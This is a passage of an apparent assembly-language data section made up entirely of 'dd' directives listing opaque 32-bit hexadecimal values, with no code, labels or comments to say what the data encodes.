		dd 0F4557258h, 22489002h, 0B403ACBFh, 204F84EFh, 1F411428h
		dd 3001F42Fh, 0A7D06102h, 80F0C111h, 0D3ED0110h, 3F038Eh
		dd 0D00F19CEh, 0D493C19Bh, 0FF67970Ch, 7E12920h, 91272154h
		dd 0F8DDB39Eh, 95A1DFBBh, 0EF8CE405h, 9AF0200Ch, 0E430F1h
		dd 0DD1A5CEDh, 0BC5F5DEBh, 971C2A00h, 0F6B0D16Ch, 8A5B0084h
		dd 0B79C6766h, 0FB0C389Bh, 4196F169h, 71C300F4h, 8491E8DCh
		dd 7A7AD903h, 3999D007h, 36B07388h, 60FF1570h, 7D9FA1E8h
		dd 0FA0083F8h, 9AAD22E4h, 0A0181219h, 24A6F974h, 0CDD910Bh
		dd 95680628h, 19841700h, 2EF03668h, 0FE74001Eh,	0E82FCCD8h
		dd 667A5E8Ch, 0FFDAF908h, 859F1Ah, 43987D3Dh, 0E7FAFA64h
		dd 229D7703h, 7F9E9461h, 31676FC1h, 1F779000h, 3B038163h
		dd 7838E9E2h, 196DC391h, 9110CF21h, 570370C8h, 0FA2A300h
		dd 210ED615h, 211962EFh, 68821F13h, 0C463A7F8h,	1BA17101h
		dd 55AA9B62h, 0EB21C0h,	57986551h, 0F0540ADAh, 9AA0D264h
		dd 173B9C21h, 0E2617BCFh
		dd 0B7CB10F9h, 0EBC0EE12h, 48660C03h, 0E31386Ah, 558EA00h
		dd 2F9A60A8h, 0E6FF7818h, 0F3BD239h, 0C353848Dh, 24706080h
		dd 3DEE09CAh, 65916714h, 11900D24h, 0D0E0791Dh,	848E003Dh
		dd 99FD5B41h, 2B50B01Eh, 11F11A7Ch, 419D6E48h, 0C0274032h
		dd 0B54D4A24h, 4F6FBD00h, 0C7DAAC7Ch, 0F8391DF9h, 0D7E34066h
		dd 783A9DF4h, 0C8304090h, 0CF925925h, 807600E1h, 64C751D5h
		dd 5E03D9A0h, 9883D412h, 9472F88Ah, 954502C0h, 0C1CF1B90h
		dd 6B9DA0A2h, 2296EA13h, 0D5201DFEh, 0C41750h, 0E012BD22h
		dd 0A3E161C9h, 231EE04h, 99861F81h, 0C0ADE489h,	0E6CB4241h
		dd 24077134h, 384D2F55h, 0A8E78F80h, 39951E6Fh,	9490D548h
		dd 4917B584h, 0F7B0230Dh, 0FC480C3h, 442A0060h,	61D8677Ch
		dd 0A98B9998h, 0C1823163h, 0D3F3D638h, 0E308C88Eh, 77C4349Eh
		dd 79C0D154h, 6097EC0Fh, 6F0269F0h, 0EB04C870h,	6269FA0Ch
		dd 18B49481h, 87792180h, 469E5347h, 1197DB05h, 0E0222119h
		dd 0B4DD236Dh, 0E12D05F0h, 3A1A0E00h, 299AABE4h, 699260F0h
		dd 5FB6DA6Ah, 0EF00D4E0h, 0B95A5716h, 62EDDFh, 0CDB8F4E1h
		dd 77FE312Bh, 0EC583C66h, 0F1A945E8h, 53799F12h, 0D078E40h
		dd 0DBA0A2h, 0ACB631CBh, 91E5C5C8h, 467BB809h, 978087D4h
		dd 77CE8890h, 61F31409h, 67C89C8Fh, 0F4448E60h,	5678049Eh
		dd 0C35D90D1h, 6FC03D4Ch, 0E0F9F5F9h, 31C03269h, 0D1468D97h
		dd 0FECF2487h, 80A64098h, 6A1F45F9h, 0F29811F4h, 3097CB19h
		dd 0CE799CEFh, 0ED0B3A32h, 7845E54h, 0D871BA97h, 88226791h
		dd 5D80F864h, 43C7054h,	22769BD3h, 6491E480h, 14CF8861h
		dd 36AD8A8h, 0A407ABB0h, 608C6238h, 1FD53D0h, 0EC211BD6h
		dd 0E0F6290Fh, 457B3E04h, 0F0811DE2h, 0E89FF09Ah, 6107629Ch
		dd 3E9DDCC3h, 0DB641BC0h, 0E9FC28FFh, 208245A4h, 78033F3Ah
		dd 39DD641Fh, 9D2010E2h, 0A89099h, 974B4111h, 42F0393h
		dd 4899EF3Eh, 0B3554062h, 0C8B84Eh, 51A59754h, 0F34F7D0Fh
		dd 3D589562h, 0F8180935h, 9F3BC951h, 1B5B8099h,	4B3B436Fh
		dd 1F2D0E5Fh, 4E0DEA23h, 618C3081h, 0FCAC8229h,	0CF186691h
		dd 0C69C5111h, 2EA4C100h, 7AAC6208h, 0B88701F7h, 6E9ABD0Ch
		dd 0B7830C2h, 3C0F8C92h, 0F2BC03DBh, 90D7DC02h,	40D892F0h
		dd 59AE14h, 0FCB277CDh,	0FEEFD1F5h, 12C96701h, 903BC349h
		dd 1109EE5h, 1905476Eh,	0C22B794Bh, 77C7C407h, 383637C7h
		dd 9F2C99F8h, 0B9F28232h, 0AB604C87h, 86130394h, 2004F982h
		dd 0BE5C29D3h, 0C3161E0h, 0B7074223h, 0B5DB11FBh, 0D8800533h
		dd 83AE13h, 0E9310722h,	943FE00Eh, 0A301B1Ah, 0FF4C60D8h
		dd 0CFE53F7Ch, 134659E0h, 1F00EC56h, 0DE7F66D9h, 6031C805h
		dd 2382012h, 6B364C33h,	365840F6h, 20E99F91h, 7CB11275h
		dd 0EBC3ED80h, 981A1417h, 0D6F1063Ch, 316C4867h, 0EB956100h
		dd 2AE15382h, 0D7CA03C7h, 8335459Fh, 7890F9B0h,	8062873Ah
		dd 0A60F84B9h, 6D6675Fh, 9DDB59FDh, 7012109Ah, 7C32012Bh
		dd 4298C69Eh, 0EA1C008Eh, 559D997h, 0CD4B050h, 0A59D62D1h
		dd 9A359821h, 44303964h, 0E8C8C71Ch, 0E8D40059h, 4248470Fh
		dd 7704D3D0h, 9BF01521h, 0F5675E40h, 6D5A1D5Ch,	0D30004ECh
		dd 9FFA474Fh, 822E1BDCh, 92119C45h, 6380B43Fh, 0D976958Ah
		dd 4E60B7FEh, 61B87F20h, 28BEF8D3h, 44B0536Bh, 65019068h
		dd 37262E6Ch, 5430CA29h, 38F4489Dh, 73009F22h, 0B6ADB9A0h
		dd 58FBAE08h, 1622D07Ah, 0C3D68F12h, 19777821h,	0CCCB9000h
		dd 2264F84Ch, 921B0183h, 9A266EA0h, 481C6031h, 5F896560h
		dd 8C4A49h, 0C0D8C997h,	905C5386h, 8B04C798h, 9FC63E33h
		dd 0A330D0D7h, 1766795Ah, 1E9B7F4h, 671E20C2h, 741DD568h
		dd 38F0E2DCh, 0BD553A13h, 32938402h, 817C07EFh,	809DF0A6h
		dd 0F5CBA199h, 1FD51F5Eh, 0F3871D54h, 214AAA08h, 0A07B9683h
		dd 9539E5Fh, 3546E664h,	5434A884h, 1C4F104Ch, 180E9448h
		dd 0A3F6866h, 2D4A587h,	641C0347h, 0BB267440h, 18C5B772h
		dd 74D76FB2h, 0C740E2F4h, 67D9E0EEh, 0E836F924h, 0EFF11930h
		dd 0C5335A3h, 0E7F80C68h, 9780ED21h, 10486590h,	1B2283EFh
		dd 31F02860h, 0CE1FC7ACh, 0CDE71510h, 87B100Ch,	543EAA99h
		dd 4D6080B4h, 6ECAE6C8h, 0B3CF0046h, 29CE53D1h,	78002136h
		dd 7976C437h, 90DF58h, 4A169D8Ah, 206D5C05h, 2A988200h
		dd 0BBBB4B8h, 4FAF0F22h, 0C001BE6h, 4DAA6EFFh, 87985B00h
		dd 0E8230870h, 0B35D00B5h, 804365EFh, 0C200D522h, 5FD66BCCh
		dd 58829837h, 4D3E3F55h, 0F3874400h, 93578A89h,	0D6853A02h
		dd 0E0BE9759h, 73CED1h,	0A1FCEF30h, 66F4D1A3h, 60C82C01h
		dd 324E88B7h, 782FD0D0h, 379D0B4Bh, 43001CF8h, 33C203E1h
		dd 0C1FBD91Dh, 8B213018h, 10613825h, 76896683h,	1800EAC0h
		dd 0E834158h, 28D826h, 81EF6560h, 527E624Eh, 296B0101h
		dd 0DD89C827h, 64A9D300h, 8C79B018h, 914FC10h, 362E379Eh
		dd 0AAC0090Fh, 9BEA7C22h, 8060A46Ch, 0EDC03197h, 0EC7A9C71h
		dd 1800DC51h, 13D07062h, 75DAA5CAh, 1F4F0296h, 0C33D78A1h
		dd 32B03900h, 505960C0h, 861958A5h, 0D75981F3h,	0CCDC7669h
		dd 1DA14760h, 15D48CB4h, 93D8CDAh, 5D6F7500h, 11A820C9h
		dd 0FE2EBE00h, 0D5AFD204h, 247F287Ah, 1268C2B5h, 0E4134894h
		dd 41606262h, 0D55564CCh, 0F220DA34h, 40759Ah, 5EE45C7h
		dd 0DC194CA8h, 0F45848D9h, 18CAC18Fh, 307471A7h, 55EE19F8h
		dd 472AA501h, 5F7D418Ch, 0E0D9F9D0h, 57F003Ah, 493DADDh
		dd 0C80FA491h, 0A0844DE7h, 0DB669AEAh, 954C1FD0h, 0E9DC80EFh
		dd 4DB811DDh, 58978D00h, 6152CF6h, 0FEA3004Eh, 0A93CB5A0h
		dd 50017951h, 7F937091h, 3FF40FF2h, 37890012h, 5D2E7552h
		dd 8B0062ADh, 80EBF1ABh, 738535Eh, 157763A5h, 45E10E2Bh
		dd 3F60077Dh, 0D898E0h,	20B64DD1h, 0DB72F8EBh, 84749506h
		dd 284964h, 6DECCDFh, 0B1484AC4h, 0E5AF2801h, 0D69B2689h
		dd 58CA60F0h, 0EC004EFEh, 57038D7Ch, 0E70BAA58h, 80DEF9D5h
		dd 82E8A77Ch, 3FC01C36h, 66A6C65Dh, 86073053h, 0D074B31h
		dd 0EEE26A60h, 3A2774C9h, 677FD49h, 0B294DF15h,	59F880ACh
		dd 0E42A3Ah, 0AA8FBABFh, 0BD917Bh, 0CA66885Eh, 0ED5F0EA6h
		dd 0C13F58C0h, 58E71h, 0E74EF86Ah, 2FBAFE06h, 3DF2C3Eh
		dd 5CE2B7B4h, 51E90067h, 615896CDh, 8500F8D4h, 10594B69h
		dd 72F28FBh, 6786434Dh,	0D5A4C096h, 730BA345h, 80C0CAC3h
		dd 50CF8B84h, 0ACBB3F1Bh, 42D9280h, 0C323E3FCh,	0AE4B5601h
		dd 1C55F6A4h, 0E42F76C0h, 0B11E1FA7h, 8AFF811Ah, 0BA6E434Eh
		dd 2F770080h, 0E8643C68h, 0A9420021h, 3E604172h, 0DE1C55E2h
		dd 0E1000C6Bh, 0A07B9A71h, 4DBB3E12h, 0D3DB0173h, 85F96E67h
		dd 28A5ECD8h, 8CBD38h, 944C259Ch, 0C16DEFC3h, 487AD830h
		dd 41BEC824h, 7070FDEEh, 805ECA30h, 5F7824Dh, 0FC584FB7h
		dd 3801F73h, 844ECB9Ah,	36F64015h, 395D008Ch, 0CE7F8CF2h
		dd 30230349h, 40507438h, 34C4FBE8h, 0D94AB730h,	8BD5B1h
		dd 0BC971F92h, 0DF0C564Fh, 0D2A76100h, 60428E99h, 0B4BA004Ah
		dd 0E6136388h, 7F00751Ch, 97AC7179h, 0A5AA5Ah, 1659CF56h
		dd 3708D7F1h, 48CD0F00h, 0F932B6C2h, 0E867034Ch, 2E835D0Eh
		dd 59C5C0C7h, 0CAC0FF43h, 0DC26CB9Ch, 30C36049h, 0B2225B8Eh
		dd 0CE974A07h, 0E5A056B3h
		dd 769C4940h, 3028CFCFh, 4B60C01Dh, 35BB6C23h, 0DC6FCA03h
		dd 64F039Eh, 38445278h,	1B0031B4h, 5559F6DEh, 7CE81885h
		dd 0BC7D3E9Bh, 39EB2F80h, 96BB1F07h, 2959CE00h,	85BF5044h
		dd 0AA7907A6h, 60C9FBCAh, 0E0232491h, 0BDD1FE1Eh, 20C70387h
		dd 4E83E680h, 0C6160934h, 838CB8A5h, 0B7005228h, 0E89E3AACh
		dd 17E8D8Bh, 0BE5A3BBCh, 808F0C07h, 4ACA3D10h, 0E67A3515h
		dd 0B1A0619Bh, 519707C9h, 0D34344A0h, 645B190Ah, 0AB00944Bh
		dd 0B77047DAh, 0C110006Dh, 23036544h, 0E3003E1Dh, 9F7B46A4h
		dd 69EA1638h, 0CF80F862h, 0FC492D59h, 0A14CA500h, 0F4D906CFh
		dd 644B006Bh, 0BEC63D84h, 530FB650h, 835F8573h,	812D2F5h
		dd 66CF5818h, 0F9D0C39Dh, 860DB004h, 3F620568h,	0D8E78780h
		dd 10F65094h, 0E66A404Eh, 7D67C12Ch, 0F03CD806h, 207DEA20h
		dd 0C8005C2Eh, 614ACB41h, 3EC02C9h, 0B7672DD6h,	4CC1CEE6h
		dd 0C1080E0h, 7C63A229h, 0E737EA6h, 0E483682Eh,	96BF5660h
		dd 0B600B4D9h, 0EED44F19h, 76A321h, 0A9223972h,	20D50332h
		dd 7845A61Dh, 158B2BC0h, 3B8C23h, 84ADFF1Ah, 94E1B512h
		dd 1EC6A648h, 9680796Ch, 0A83262DDh, 82C50095h,	92690E30h
		dd 9A00E02Eh, 55D3A524h, 139CC78h, 5DD9E56Ch, 0F0777BC7h
		dd 3CE8E3BFh, 24838500h, 5673AE2Ch, 48E50190h, 0BE92B920h
		dd 0E845F043h, 0DAA9D400h, 0EDDD3A55h, 0BFDF014Ch, 2B270672h
		dd 7841D6A1h, 0B5089899h, 796221h, 14890B06h, 0FFA8C53Ch
		dd 5540E21Eh, 0E380921Dh, 7D9313B9h, 0BD4C01E4h, 48DF76DDh
		dd 7F4093DCh, 555A0200h, 381306B1h, 30746942h, 1E20DFD3h
		dd 0D17C2ECFh, 0A9248501h, 12E428BAh, 3061C1D8h, 0BF28DF49h
		dd 0CB1D769Fh, 70B60791h, 5A4C0319h, 0AB4952F8h, 4301ECD8h
		dd 8820A36Ch, 0C2908C7Bh, 0D9554F14h, 85A244h, 0E4645172h
		dd 0E64DC51Ch, 8EDCAE01h, 608075CBh, 50C25FA5h,	0E9008C36h
		dd 9CBFD4FBh, 24A94926h, 3929040h, 7FA67203h, 13DEEBE8h
		dd 170ECEF0h, 2FF1D00Fh, 27682286h, 56C609Ah, 497B005Fh
		dd 7AF4BB95h, 0E732BE55h, 0BFEA1048h, 66DA8604h, 330010D8h
		dd 92E8619Eh, 0FDB154Ch, 977131ADh, 0DA423200h,	0B40685EDh
		dd 0DFD833E4h, 11194229h, 0F121C40Bh, 90DEE208h, 0C08E840Dh
		dd 9C429548h, 405124A8h, 2C3F745Eh, 0FA9D0014h,	69E726D2h
		dd 637B4068h, 0BFCCC100h, 242D4DCh, 0A7A9002Eh,	0B77B9E82h
		dd 0BD015940h, 9349AEF2h, 0F9DC2F5Ch, 1B310039h, 536AB4EAh
		dd 691F4CA1h, 0B58084FCh, 9A220121h, 0CFA04C32h, 90F32Eh
		dd 1F2F393Dh, 70F92DA2h, 280054BAh, 0CC227546h,	4F22Ch
		dd 18B408D5h, 0AD81CAE0h, 0FCE68D01h, 0D2893166h, 1EB21080h
		dd 8AB8046Eh, 3988D90Ah, 0C281BC82h, 0D6B729EDh, 9E1E28BAh
		dd 0B8CB47F6h, 72B2A0A6h, 0EB8E73Ah, 8F00E190h,	0B63F22CAh
		dd 0F505D64h, 32F81C1Fh, 69467D40h, 5F00F0ADh, 345156DDh
		dd 1FCFE8h, 0A42AAFAEh,	0E7079528h, 44BACD15h, 5F1F76FCh
		dd 1880802Fh, 0DF684084h, 0B91601ADh, 0F9E90496h, 115DE443h
		dd 4CDB4900h, 10CC2D81h, 6A0B0DCh, 2B563A92h, 76002040h
		dd 0ABA1D1F3h, 0EA23A3h, 0C02E6A6h, 0FDC77F47h,	0F0B81A60h
		dd 0EEBE78A1h, 534E00C4h, 257E4657h, 80ED6592h,	5A9A59C0h
		dd 3852D3C8h, 6E1C281Ah, 79B871h, 0A98E290Bh, 3A63E0D7h
		dd 19EB9B00h, 49713709h, 8DDF038Ah, 0A5CD36E5h,	60F5918Ah
		dd 12B4BCBFh, 0D25D2Eh,	66F37870h, 4400E017h, 639BFD71h
		dd 8BEEC1h, 47CA1E52h, 97FA2EA1h, 0A6406600h, 91D1B81Ah
		dd 5148000Bh, 0F33EC5D7h, 6A007718h, 5480720Fh,	1A79687h
		dd 43BFE342h, 6095687Ah, 13000C8Dh, 5DBBE499h, 3E75EB12h
		dd 0BD00A086h, 2B906348h, 0DD003EA9h, 47A82DBCh, 5B03Bh
		dd 6313574Ch, 4204D967h, 0C00083EEh, 816F1AD4h,	2DD109h
		dd 0DEC2909Eh, 8D42310Eh, 9FAF6D39h, 2CC3CB88h,	0D8B51DDBh
		dd 1E1A6341h, 87EA7C1Eh, 908CAADEh, 0EF9122F8h,	0CFF27AF8h
		dd 5BDC8800h, 0B48639C5h, 929302A6h, 0FA9AB218h, 24331441h
		dd 0BD077394h, 34E014B0h, 98E641E0h, 29550020h,	0D4F5D50Ah
		dd 3F055CE8h, 28AB4C6Bh, 41B38000h, 0B8434E42h,	810E000Eh
		dd 73AD13A1h, 0E271DAF1h, 0B49E412Eh, 79DEAF1Dh, 6EDBD347h
		dd 0F87FA7D0h, 0CA17002Ch, 8932072Fh, 0E800A9DCh, 0F2140CECh
		dd 0B5318Fh, 95919F38h,	3503570Eh, 0D8BAF00h, 2145245Fh
		dd 0A8E636h, 9648E3B6h,	3191FFD4h, 1FF8F148h, 6C00CBFDh
		dd 0AD8FC478h, 0A51600DDh, 5702BF80h, 5803CEB5h, 296B17A8h
		dd 227BB818h, 0F0880473h, 0C091AB40h, 83009C0h,	530003F8h
		dd 0C0D2CE64h, 0FE0CDE8Eh, 0A989003Dh, 0FDCAF071h, 0E0009B4Bh
		dd 0E280EA0Eh, 0E3D8CDh, 2AA71B47h, 0F6535948h,	57FFF400h
		dd 6312EFB8h, 4B250032h, 3D9B7C14h, 1600D468h, 23BB8F93h
		dd 0B62AE9h, 62701E12h,	40B82C2h, 4F8ADA00h, 782861C0h
		dd 38200031h, 0C7657B74h, 9A18623Dh, 0ED187902h, 12243BCCh
		dd 0EA386C80h, 5A5206A7h, 0EEC77E01h, 0D978362Bh, 4321CCh
		dd 0FBB89F60h, 8F1373B9h, 0BE50FF00h, 0D40CB529h, 282F6052h
		dd 2D70464Eh, 0D36C2B00h, 0B30ACF6Bh, 4806E4EAh, 27006C89h
		dd 0B634962Eh, 93BB5C0h, 0EEBC8038h, 2161161Fh,	0F67E0F98h
		dd 4B609F37h, 4172FDFFh, 0B33B3F7Ch, 3AC51D61h,	0A9AC5300h
		dd 3F65Eh, 13715A9Ch, 0ED8FEA55h, 0B50AF800h, 0CDDED1E6h
		dd 0E0145B30h, 0A4056E19h, 1103BF2h, 178F1BC1h,	0C6FE70h
		dd 0FEFD61Ah, 4124D97Ah, 6A8ACA00h, 44100EADh, 65933BA3h
		dd 8B687680h, 954E23ACh, 7CA24607h, 7590CEF1h, 0F469E070h
		dd 36B0D0h, 0F5E8D21Eh,	0C501AD5Ch, 0CE416600h,	0EDEB85B5h
		dd 20D64C45h, 0B9B19514h, 0B630810Fh, 435DE007h, 37D87565h
		dd 5004FD3h, 0EF5BA542h, 90F9CE2h, 1D9449B4h, 0ECDAF500h
		dd 8500E807h, 0D7E31456h, 3F2B12Bh, 3EB53BDCh, 0A07CE940h
		dd 0D6896906h, 10FE10h,	0CE801A05h, 7D0C78Ch, 155F2B00h
		dd 0C022FC98h, 4EE631h,	0EC3587D7h, 0A8854086h,	0EF0020F2h
		dd 1992A3ADh, 3A97132Bh, 0F000C260h, 6D3D46F8h,	21054077h
		dd 0B78818A2h, 235BA480h, 12E2008Eh, 0B534F544h, 0D00558D4h
		dd 0BD3A3D33h, 6647E480h, 900F01B8h, 6F363454h,	6A2CE46Dh
		dd 0D841500h, 94FA61EEh, 0E71C00CCh, 9DEBBAADh,	0B37E3342h
		dd 0FC9ADC01h, 5C43A7D9h, 0AD45C0h, 4A5A202h, 0C6037191h
		dd 73B2003h, 0E83D80A9h, 0F56C29h, 0A8BAF021h, 4A363966h
		dd 51A05200h, 27B52F80h, 0FADA3A57h, 2595E400h,	0BFDA6CAh
		dd 7D961500h, 0A0B334AEh, 6DF90056h, 8258C676h,	77005AFEh
		dd 4C8B98BAh, 3BCDFBh, 0E8469F6Bh, 0B59D8D95h, 0C442240Eh
		dd 939E0292h, 84A58901h, 0E0809A65h, 18BC781Ah,	0EAEAE6CEh
		dd 0F8009E94h, 4273E1A0h, 4C03BAh, 2F6D4338h, 293346FAh
		dd 87788870h, 0B79A0100h, 4EE0E922h, 8A2400CAh,	4115F50h
		dd 2000271Fh, 34F3EE75h, 0F0BC710h, 160871BEh, 199B3120h
		dd 9300F10Eh, 464AED4h,	1EBFAA1h, 0F5769779h, 81FB8D82h
		dd 0B3DE1010h, 0DAFC2E84h, 0CE3D03C2h, 965D6F25h, 6EA2FDF0h
		dd 0D826AE00h, 0C4D2B6F9h, 81E6186Ah, 0DE4B4104h, 162DE500h
		dd 8A312141h, 70DC395Ah, 55979B00h, 2BEC48EDh, 0C12C80Fh
		dd 0DBCAA0ABh, 7D326E90h
		dd 4FA0010h, 62A525A8h,	5079A1Ch, 1FB04D3Ch, 0E0B6DE22h
		dd 18695DAAh, 9A03AE2Ah, 68002248h, 46DA7207h, 2E6726h
		dd 30662A3Bh, 0BE40F1A4h, 0FCCA3500h, 8420B36Bh, 5E3B009Fh
		dd 0A28F8BBh, 0BE00CFD6h, 37F01F1Bh, 7AEE7D9Dh,	3BCC0706h
		dd 80705EA7h, 2982B55Fh, 67409B00h, 0B68393DFh,	4DB0097Dh
		dd 99FC5220h, 0D4983700h, 3B6966DEh, 5300D72Fh,	567091EBh
		dd 300FF2EFh, 0A3EC4A9Bh, 1A48F96h, 3A5183FCh, 0F85B4675h
		dd 8B0A512h, 443D7100h,	39C2EECCh, 43D7002Dh, 31AC2B59h
		dd 8B3D9F24h, 5AB100E5h, 7886B7C9h, 826A004Eh, 37E4EAAAh
		dd 610004BCh, 4F48799Ch, 58D9F659h, 0EE00A3CAh,	95F3B4A8h
		dd 98601675h, 816ACE90h, 0B1F00E2Ah, 0F960A48Ch, 0A666575Dh
		dd 0ED30F800h, 0BDE348D0h, 29CB09Ah, 5F179036h,	0C540FCE6h
		dd 0FE0EBB1Fh, 2169D8E4h, 0BDCA531Bh, 0D7FC880h, 2B96BC1h
		dd 66A5EB03h, 711B6121h, 0CEE800E0h, 0EACD0648h, 9F05E396h
		dd 9061986Fh, 95B73AC0h, 8CF8E7h, 384D3BD9h, 17B05E47h
		dd 974C300h, 8EABF21Dh,	22BA3C8Bh, 6E80B5B9h, 394234D1h
		dd 687DE199h, 0DF0B2300h, 0C8CF19BEh, 14610B2Ch, 800858Ch
		dd 841E768Dh, 3949FE00h, 0E9AA6B7Fh, 995428F0h,	7933EC8Ch
		dd 60E181h, 0B2530EABh,	9EE283D0h, 7840B877h, 6B00997Bh
		dd 0ACD275EDh, 0C70AE4Ch, 0B76576FDh, 0C77A4D20h, 0D010521Ch
		dd 0CE5AB240h, 6CC07Fh,	197C9F6Dh, 4C8D0B62h, 0CC7EC24h
		dd 59532860h, 0EEC9020h, 0CC5729E6h, 3B030500h,	0BD3B33A0h
		dd 1E930399h, 9C18A4B1h, 0EE3FCCC0h, 707E1CC8h,	0B5D9405Dh
		dd 8C86EF5Ch, 6AE08200h, 0C4EC0774h, 1F1000BEh,	870AFAF8h
		dd 3500BAE3h, 661C0413h, 92A67F6h, 0C462BB42h, 0C36B7000h
		dd 0FC00E1D4h, 0D8F61CB9h, 9031A9h, 520B67FBh, 48A86459h
		dd 9870ED1Ch, 0D67E66C0h, 3B4E9DDBh, 8F00DA6Eh,	6BDF84D4h
		dd 130031DDh, 43C0643Fh, 52AC430h, 2E955441h, 0EB4888CCh
		dd 0CABD7317h, 8318DD00h, 0C8E78Fh, 0C75002B3h,	7704B07Fh
		dd 7E3D280Fh, 82114058h, 813808h, 327CF802h, 1B95A55Eh
		dd 77D7E002h, 40A10E06h, 129094h, 0FC0F31B4h, 0A558EE18h
		dd 63DC48h, 9B3A9263h, 5D070h, 1064C438h, 6CD1A3BDh, 5B795D04h
		dd 0BCC055DBh, 2452D3DFh, 0E0103265h, 8C684940h, 17935007h
		dd 9880731Ah, 1C5A066Ah, 13B6D9D3h, 21BC27ACh, 0AF0577h
		dd 596FE6E0h, 3802F406h, 4D7401A0h, 3D65F880h, 403DD93h
		dd 0BE0D15B6h, 2980A7D1h, 49D517A7h, 4407145Fh,	8068C85Dh
		dd 666F5CE7h, 0BD2F8600h, 5A7F2143h, 642800D6h,	4E2051C2h
		dd 331294DEh, 0BC01CDB2h, 0CA266A7h, 9EC82C65h,	0F4514C58h
		dd 0BF5A0380h, 0C404A7C7h, 7BA2D717h, 0AD7F8091h, 60E424CCh
		dd 2D8B10B9h, 4D49B72Ch, 31261278h, 284C4000h, 8FBA7Eh
		dd 0AF275E6Ah, 0EAB5D65Bh, 92003173h, 79FA868Eh, 0FC3A455h
		dd 0F991E5BAh, 3ADAB102h, 11EE63DDh, 1CA2850h, 7B124BF2h
		dd 8050B0ECh, 78C5712Bh, 0DB250113h, 76069D82h,	80BE61BEh
		dd 32981AD9h, 5DEEECh, 33AE92B1h, 201B0836h, 0F0ABBD03h
		dd 0B0A3BA47h, 756F129h, 0FA473F5h, 9D406C6Dh, 21DAFB1Dh
		dd 0A3800464h, 0B445CE1Ch, 0EB6B008Ch, 0B3533883h, 8950B230h
		dd 6790DA88h, 0A94B61Ch, 14D49180h, 1BB3B29h, 0FA15F292h
		dd 0F0D1F16Dh, 0DF09C4C9h, 5842034Fh, 0EEB9248Ch, 94470300h
		dd 5070CE79h, 0DED9AE00h, 0B032F629h, 3E770002h, 0BC400773h
		dd 0C658065Bh, 0A49E00C8h, 0B3A3B488h, 69FC2Dh,	9F307661h
		dd 3DCC2C16h, 0B998470Eh, 0BF1C637Dh, 808CE29Ah, 0DF8F7FACh
		dd 0C2D53D2Ch, 4F60380h, 0C671994Bh, 22C51600h,	0B215683Fh
		dd 0CC76F7h, 953DF217h,	58FE0DF1h, 0AA5BA300h, 66998D4Ah
		dd 24843FFDh, 3F016C5Ch, 1057CC1Ch, 1647FC58h, 283ED7B8h
		dd 0FCA30049h, 138EDE11h, 53F900BCh, 0EE8B6045h, 382C9A47h
		dd 0D540988Dh, 5598CEh,	80507AA7h, 2939FE30h, 7870B89Ah
		dd 3B00C87Dh, 62177FDFh, 68B6CD36h, 0C0A4DAh, 1B0D5275h
		dd 0AF031C01h, 0B3E7F8E9h, 9F661310h, 77400045h, 1F4FA883h
		dd 6620B09h, 2930031Eh,	73E8A96Fh, 480870h, 9F5C14D9h
		dd 1B85A53h, 7ED06302h,	0C05F64DFh, 0F6E93854h,	4BD30098h
		dd 0FD8A251Ah, 0EEF6CB6Bh, 0F843D003h, 0E02AFE0Ch, 7819C0h
		dd 0DC535231h, 0DFFDC7BCh, 5C63E400h, 99159BB4h, 0B96E0070h
		dd 437EF00Ch, 9E0C7FA4h, 0F80E6F78h, 0C3D5131Fh, 0F2A2008Dh
		dd 0CB8FA5ECh, 6ADDE600h, 3B04323Eh, 4D3700C8h,	93F79473h
		dd 96E0FFD9h, 6D0BD3B8h, 11FADDh, 300629E4h, 0DBAA00DEh
		dd 0C0B916BDh, 4A014797h, 7E3A1360h, 746049F9h,	0FB992CDCh
		dd 7CC1FE4h, 206D2047h,	0AB30CDD0h, 0D4A2C300h,	43F7995Bh
		dd 0F3E72411h, 5F6F0930h, 12051500h, 0E60213CBh, 0A06A3C54h
		dd 0A450B0h, 0E221D78Ch, 8714BCE7h, 0C36E3F00h,	0C92AFD16h
		dd 190B0E13h, 37C3BB7Bh, 0F3FAB40Eh, 4A6F3040h,	0BEF05C41h
		dd 227E28C7h, 0B87F3FDCh, 405FF29Fh, 2B729F70h,	4B09C160h
		dd 80D176A5h, 62FB7D80h, 0AA6E0980h, 18AE0EB6h,	47469C80h
		dd 0F200FA88h, 0DF78B4A7h, 58B52D6Ah, 4030452Fh, 0C8D1C928h
		dd 741F0603h, 0C1E1D654h, 0BDF3B30h, 0BC88E721h, 0DD657C81h
		dd 0AA583495h, 23A2FB02h, 0E0BFDB2Bh, 2D4098h, 56029BA0h
		dd 0E491D95Eh, 6B263F00h, 0A5051735h, 0D34200FAh, 1CC66E08h
		dd 0CDE8BE5Ah, 44019300h, 762F1562h, 1092618Ah,	0F35D9AE5h
		dd 0B9B2AF0h, 7DA3DA00h, 70D4FC3Fh, 791E000Fh, 4C5C6F2Dh
		dd 6409A76Ch, 876AD1h, 2632DB64h, 0B2CB0047h, 441C7A79h
		dd 0F6000906h, 751FB40Fh, 4562C0h, 2E5A0791h, 9AC96771h
		dd 7B432800h, 0AAF52CABh, 9B31001Fh, 0BE78264Ah, 2D26A127h
		dd 5B40E0DBh, 577DD4h, 846CE792h, 0CB91A804h, 0D62CCA76h
		dd 14001E1Eh, 53F0EC66h, 0B2A600B1h, 7A6FDE92h,	384A3AE9h
		dd 54D0F405h, 50D75882h, 23861F68h, 0AEC3D4D8h,	9A40590Ch
		dd 137D1919h, 0D6A11D03h, 0A0A40860h, 0CED41784h, 0D7C57B20h
		dd 22C3C06Ah, 1A003388h, 8A73EF02h, 0FA821F7h, 98F2859Fh
		dd 7A9C1280h, 0D107C25Eh, 0D3FBAEE3h, 9BCC79B0h, 0F31413F2h
		dd 0B3A80080h, 34521223h, 4B5F80DEh, 0E7A17B46h, 0D1E53E31h
		dd 0D7761B8Ah, 415B808Ch, 122BBB9Ah, 818B117h, 58CA590Dh
		dd 0DBEC2080h, 0D53605BEh, 59040714h, 0F34A00B7h, 0EE71989Dh
		dd 0E20C3BE6h, 25067080h, 0CDBBFA59h, 0B2627B12h, 802CA30Eh
		dd 4CDD3A18h, 0F31B005Eh, 242B445Bh, 0AB009C01h, 98DE061Ah
		dd 2F5CC8CEh, 690036CFh, 0D4815A84h, 0BA6F3Fh, 89B7172Ch
		dd 768271h, 0B59179FEh,	43C8027Eh, 0EF1E863h, 4C1089CBh
		dd 780411A3h, 0E4A8B5F1h, 0B600506Eh, 5391AE6Ch, 0C0DCCAE6h
		dd 4F8FA2B4h, 0F75206Ah, 0D85D680Ch, 88BF29A8h,	0F207F4C1h
